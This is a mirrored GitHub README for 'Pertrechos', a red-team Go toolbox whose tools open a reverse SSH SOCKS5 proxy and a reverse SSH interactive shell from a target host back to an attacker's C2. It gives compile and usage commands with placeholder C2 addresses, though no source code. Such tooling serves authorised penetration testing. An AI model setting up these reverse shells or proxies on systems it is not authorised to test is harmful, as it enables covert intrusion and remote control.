Coder Social home page Coder Social logo

rebujacker / pertrechos Goto Github PK

View Code? Open in Web Editor NEW
0.0 2.0 0.0 18 KB

Pertrechos is a toolbox repo. that will contain simple code-snippets in go to perform different useful actions to help OffSec. operations/projects.

License: GNU General Public License v3.0

Go 80.27% Shell 19.73%
redteam tools

pertrechos's Introduction

Pertrechos

pertrechos: Red Team Tool Set

STime logo

What is Pertrechos? What is its Purpose?

Pertrechos is a toolbox repo. that will contain simple code-snippets in go to perform different useful actions to help offSec. operations/projects.

For the moment, they will be simple extracts of features that SiestaTime framework has already in place, but with the freedom of a simple binary or source ready to be used.

Each tool will normally focus in one type of feature and should work for three platforms: Linux,Windows and OSX

This tool has both Educational Purposes and aims to help security industry and defenders.

Butron - Reverse SSH SOCKS5

Open a SOCKS5 in a target SSH server, by using a reverse SSH connection from the device. Basically like doing "ssh -i key.pem -D user@<ImplantSSHServer>" from our C2.

If you want to test the functionality, use a browser (EG. Mozilla) and set a SOCKS5 proxy towards your C2 SOCKS5 opened.

Compile and Use:

petrechos.sh butron <windows/darwin/linux> <amd64/386>
./butron <key.pem> <SSHuser> <C2IP:Port> <IPtoListen:Port> <OptionalParamLog>

Rememeber that your C2 sshd needs to have "GatewayPorts yes" in /etc/ssh/sshd.conf to be able to listen to 0.0.0.0

Sources Used:

Falcata - Reverse SSH Full Interactive Terminal (Linux,Darwin, TBD Windows)

Full Interactive shell. The "Egress" will connect using SSH to target C2, and serve a full interactve shell in a listener. The "Connect" will take care of terminal channels/etc... to have a full interactive session.

<TBD> Full Interactive mirror for windows.

Compile and Use:

petrechos.sh falcata <windows/darwin/linux> <amd64/386>
./falcata egress <key.pem> <SSHuser> <C2IP:Port> <IPtoListen:Port>
./falcata connect <IPtoListen:Port>
Sources Used:

Contributing

Any collaboration is welcome! Feel free to contact me.

There are many tasks to do. You can check the `Issues <https://github.com/rebujacker/Pertrechos/issues/ >`_ and send us a Pull Request.

Disclaimer

Author/Contributors will not be responsible for the malfunctioning or weaponization of this code

License

This project is distributed under GPL V3 license

pertrechos's People

Contributors

rebujacker avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.